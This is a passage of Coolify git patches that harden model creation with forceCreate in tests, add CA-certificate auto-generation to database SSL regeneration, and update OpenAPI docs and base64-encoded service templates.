SBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogICAgICAtIFRaPUV0Yy9VVEMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xpc3Rtb25rLWRhdGE6L2xpc3Rtb25rL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6OTAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBsaXN0bW9uay1pbml0aWFsLWRhdGFiYXNlLXNldHVwOgogICAgaW1hZ2U6ICdsaXN0bW9uay9saXN0bW9uazp2Ni4wLjAnCiAgICBjb21tYW5kOiAnLi9saXN0bW9uayAtLWluc3RhbGwgLS15ZXMgLS1pZGVtcG90ZW50JwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RNT05LX2RiX19ob3N0PXBvc3RncmVzCiAgICAgIC0gTElTVE1PTktfZGJfX2RhdGFiYXNlPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "newsletter", "mailing list", diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php index 8ccb7c639..7f1b985ad 100644 --- a/tests/Feature/ApplicationHealthCheckApiTest.php +++ b/tests/Feature/ApplicationHealthCheckApiTest.php @@ -25,13 +25,13 @@ $this->server = Server::factory()->create(['team_id' => $this->team->id]); StandaloneDocker::withoutEvents(function () { - $this->destination = StandaloneDocker::firstOrCreate( - ['server_id' => $this->server->id, 'network' => 'coolify'], + $this->destination = $this->server->standaloneDockers()->firstOrCreate( + ['network' => 'coolify'], ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] ); }); - $this->project = Project::create([ + $this->project = Project::forceCreate([ 'uuid' => (string) new Cuid2, 'name' => 'test-project', 'team_id' => $this->team->id, diff --git a/tests/Feature/ComposePreviewFqdnTest.php b/tests/Feature/ComposePreviewFqdnTest.php index c62f905d6..62fc0f2d8 100644 --- a/tests/Feature/ComposePreviewFqdnTest.php +++ b/tests/Feature/ComposePreviewFqdnTest.php @@ -14,9 +14,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 42, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/42', 'docker_compose_domains' => $application->docker_compose_domains, ]); @@ -38,9 +39,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 7, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/7', 'docker_compose_domains' => $application->docker_compose_domains, ]); @@ -63,9 +65,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 99, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/99', 'docker_compose_domains' => $application->docker_compose_domains, ]); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php index f3297cf17..78e80483b 100644 --- a/tests/Feature/DatabaseEnvironmentVariableApiTest.php +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -33,7 +33,7 @@ function createDatabase($context): StandalonePostgresql { - return StandalonePostgresql::create([ + return StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/DatabasePublicPortTimeoutApiTest.php b/tests/Feature/DatabasePublicPortTimeoutApiTest.php index 6bbc6279f..1ffc32a81 100644 --- a/tests/Feature/DatabasePublicPortTimeoutApiTest.php +++ b/tests/Feature/DatabasePublicPortTimeoutApiTest.php @@ -33,7 +33,7 @@ describe('PATCH /api/v1/databases', function () { test('updates public_port_timeout on a postgresql database', function () { - $database = StandalonePostgresql::create([ + $database = StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', @@ -57,7 +57,7 @@ }); test('updates public_port_timeout on a redis database', function () { - $database = StandaloneRedis::create([ + $database = StandaloneRedis::forceCreate([ 'name' => 'test-redis', 'image' => 'redis:7', 'redis_password' => 'password', @@ -79,7 +79,7 @@ }); test('rejects invalid public_port_timeout value', function () { - $database = StandalonePostgresql::create([ + $database = StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', @@ -101,7 +101,7 @@ }); test('accepts null public_port_timeout', function () { - $database = StandalonePostgresql::create([ + $database = StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/InternalModelCreationMassAssignmentTest.php b/tests/Feature/InternalModelCreationMassAssignmentTest.php new file mode 100644 index 000000000..fc581bf5c --- /dev/null +++ b/tests/Feature/InternalModelCreationMassAssignmentTest.php @@ -0,0 +1,73 @@ +create(); + $project = Project::factory()->create([ + 'team_id' => $team->id, + ]); + $environment = Environment::factory()->create([ + 'project_id' => $project->id, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + ]); + $destination = $server->standaloneDockers()->firstOrFail(); + + $application = Application::forceCreate([ + 'name' => 'internal-app', + 'git_repository' => 'https://github.com/coollabsio/coolify', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $setting = ApplicationSetting::query() + ->where('application_id', $application->id) + ->first(); + + expect($application->environment_id)->toBe($environment->id); + expect($setting)->not->toBeNull(); + expect($setting?->application_id)->toBe($application->id); +}); + +it('creates services with protected relationship ids in trusted internal paths', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create([ + 'team_id' => $team->id, + ]); + $environment = Environment::factory()->create([ + 'project_id' => $project->id, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + ]); + $destination = $server->standaloneDockers()->firstOrFail(); + + $service = Service::forceCreate([ + 'docker_compose_raw' => 'services: {}', + 'environment_id' => $environment->id, + 'server_id' => $server->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'service_type' => 'test-service', + ]); + + expect($service->environment_id)->toBe($environment->id); + expect($service->server_id)->toBe($server->id); + expect($service->destination_id)->toBe($destination->id); + expect($service->destination_type)->toBe($destination->getMorphClass()); +}); diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php index 97bb0fd2a..ae3cba4d3 100644 --- a/tests/Feature/ServiceDatabaseTeamTest.php +++ b/tests/Feature/ServiceDatabaseTeamTest.php @@ -7,25 +7,26 @@ use App\Models\ServiceDatabase; use App\Models\Team; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Str; uses(RefreshDatabase::class); it('returns the correct team through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $project = Project::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::create([ - 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + $environment = Environment::forceCreate([ + 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $service = Service::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, 'destination_id' => 1, @@ -33,8 +34,8 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceDatabase = ServiceDatabase::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $serviceDatabase = ServiceDatabase::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase-db', 'service_id' => $service->id, ]); @@ -46,19 +47,19 @@ it('returns the correct team for ServiceApplication through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $project = Project::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::create([ - 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + $environment = Environment::forceCreate([ + 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $service = Service::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, 'destination_id' => 1, @@ -66,8 +67,8 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceApplication = ServiceApplication::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $serviceApplication = ServiceApplication::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase-studio', 'service_id' => $service->id, ]); diff --git a/tests/Feature/StorageApiTest.php b/tests/Feature/StorageApiTest.php index 75357e41e..bd9d727c4 100644 --- a/tests/Feature/StorageApiTest.php +++ b/tests/Feature/StorageApiTest.php @@ -49,7 +49,7 @@ function createTestApplication($context): Application function createTestDatabase($context): StandalonePostgresql { - return StandalonePostgresql::create([ + return StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Unit/ServiceParserImageUpdateTest.php b/tests/Unit/ServiceParserImageUpdateTest.php index b52e0b820..526505098 100644 --- a/tests/Unit/ServiceParserImageUpdateTest.php +++ b/tests/Unit/ServiceParserImageUpdateTest.php @@ -7,22 +7,24 @@ * These tests verify the fix for the issue where changing an image in a * docker-compose file would create a new service instead of updating the existing one. */ -it('ensures service parser does not include image in firstOrCreate query', function () { +it('ensures service parser does not include image in trusted service creation query', function () { // Read the serviceParser function from parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Check that firstOrCreate is called with only name and service_id - // and NOT with image parameter in the ServiceApplication presave loop + // Check that trusted creation only uses name and service_id + // and does not include image in the creation payload expect($parsersFile) - ->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") - ->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); + ->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") + ->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") + ->toContain("forceCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") + ->not->toContain("forceCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); }); it('ensures service parser updates image after finding or creating service', function () { // Read the serviceParser function from parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Check that image update logic exists after firstOrCreate + // Check that image update logic exists after the trusted create/find branch expect($parsersFile) ->toContain('// Update image if it changed') ->toContain('if ($savedService->image !== $image) {') diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php index b4a97f268..233b0db9d 100644 --- a/tests/v4/Browser/DashboardTest.php +++ b/tests/v4/Browser/DashboardTest.php @@ -77,21 +77,21 @@ ], ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-1', 'name' => 'My first project', 'description' => 'This is a test project in development', 'team_id' => 0, ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-2', 'name' => 'Production API', 'description' => 'Backend services for production', 'team_id' => 0, ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-3', 'name' => 'Staging Environment', 'description' => 'Staging and QA testing', From 850c37beddf6356778fbbf0bd5c1a0c0d3163e87 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 30 Mar 2026 13:10:49 +0200 Subject: [PATCH 84/95] fix(database): auto-generate missing CA cert on SSL regeneration Prevent null CA certificate access during database SSL certificate regeneration across KeyDB, MariaDB, MongoDB, MySQL, PostgreSQL, and Redis components. If no CA certificate exists, attempt to generate one and re-query; if still missing, dispatch a clear error and stop regeneration gracefully. Add `SslCertificateRegenerationTest` coverage for missing-CA and CA-query scenarios to prevent regressions. --- .../Project/Database/Keydb/General.php | 11 +++ .../Project/Database/Mariadb/General.php | 11 +++ .../Project/Database/Mongodb/General.php | 11 +++ .../Project/Database/Mysql/General.php | 11 +++ .../Project/Database/Postgresql/General.php | 11 +++ .../Project/Database/Redis/General.php | 11 +++ openapi.json | 23 +++++- openapi.yaml | 18 +++- templates/service-templates-latest.json | 24 +++++- templates/service-templates.json | 20 ++++- .../SslCertificateRegenerationTest.php | 82 +++++++++++++++++++ 11 files changed, 223 insertions(+), 10 deletions(-) create mode 100644 tests/Feature/SslCertificateRegenerationTest.php diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index adb4ccb5f..be30b96f2 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -269,6 +269,17 @@ public function regenerateSslCertificate() ->where('is_ca_certificate', true) ->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->commonName, subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index 14240c82d..6dc89e97a 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -289,6 +289,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 11419ec71..9d0462197 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -297,6 +297,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 4f0f5eb19..2ac202250 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -301,6 +301,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 4e044672b..e43424b9a 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -264,6 +264,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->common_name, subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index ebe2f3ba0..9a132cc37 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -282,6 +282,17 @@ public function regenerateSslCertificate() $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + if (! $caCert) { + $this->server->generateCaCertificate(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); + } + + if (! $caCert) { + $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); + + return; + } + SslHelper::generateSslCertificate( commonName: $existingCert->commonName, subjectAlternativeNames: $existingCert->subjectAlternativeNames ?? [], diff --git a/openapi.json b/openapi.json index 277f485f9..ed8decb48 100644 --- a/openapi.json +++ b/openapi.json @@ -2722,8 +2722,7 @@ }, "is_preserve_repository_enabled": { "type": "boolean", - "default": false, - "description": "Preserve repository during deployment." + "description": "Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false." } }, "type": "object" @@ -7275,6 +7274,22 @@ "schema": { "type": "integer" } + }, + { + "name": "pull_request_id", + "in": "query", + "description": "Preview deployment identifier. Alias of pr.", + "schema": { + "type": "integer" + } + }, + { + "name": "docker_tag", + "in": "query", + "description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id.", + "schema": { + "type": "string" + } } ], "responses": { @@ -12735,6 +12750,10 @@ "pull_request_id": { "type": "integer" }, + "docker_registry_image_tag": { + "type": "string", + "nullable": true + }, "force_rebuild": { "type": "boolean" }, diff --git a/openapi.yaml b/openapi.yaml index 9475364b6..157cd9f69 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -1755,8 +1755,7 @@ paths: description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' is_preserve_repository_enabled: type: boolean - default: false - description: 'Preserve repository during deployment.' + description: 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.' type: object responses: '200': @@ -4711,6 +4710,18 @@ paths: description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.' schema: type: integer + - + name: pull_request_id + in: query + description: 'Preview deployment identifier. Alias of pr.' + schema: + type: integer + - + name: docker_tag + in: query + description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.' + schema: + type: string responses: '200': description: "Get deployment(s) UUID's" @@ -8106,6 +8117,9 @@ components: type: string pull_request_id: type: integer + docker_registry_image_tag: + type: string + nullable: true force_rebuild: type: boolean commit: diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 51cb39de0..590d0ab64 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfRUxFQ1RSSUNfMzAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9JHtEQVRBQkFTRV9VUkw6P30nCiAgICAgIC0gJ0VMRUNUUklDX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfRUxFQ1RSSUN9JwogICAgICAtIEVMRUNUUklDX1NUT1JBR0VfRElSPS9hcHAvcGVyc2lzdGVudAogICAgICAtICdFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc9JHtFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VsZWN0cmljX2RhdGE6L2FwcC9wZXJzaXN0ZW50JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvdjEvaGVhbHRoJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -1847,7 +1863,7 @@ "grafana-with-postgresql": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgICAtIEdGX0RBVEFCQVNFX1RZUEU9cG9zdGdyZXMKICAgICAgLSBHRl9EQVRBQkFTRV9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBHRl9EQVRBQkFTRV9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBHRl9EQVRBQkFTRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdHRl9EQVRBQkFTRV9OQU1FPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBvc3RncmVzcWwKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZ3JhZmFuYX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgICAgLSBHRl9EQVRBQkFTRV9UWVBFPXBvc3RncmVzCiAgICAgIC0gR0ZfREFUQUJBU0VfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gR0ZfREFUQUJBU0VfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gR0ZfREFUQUJBU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnR0ZfREFUQUJBU0VfTkFNRT0ke1BPU1RHUkVTX0RCOi1ncmFmYW5hfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwc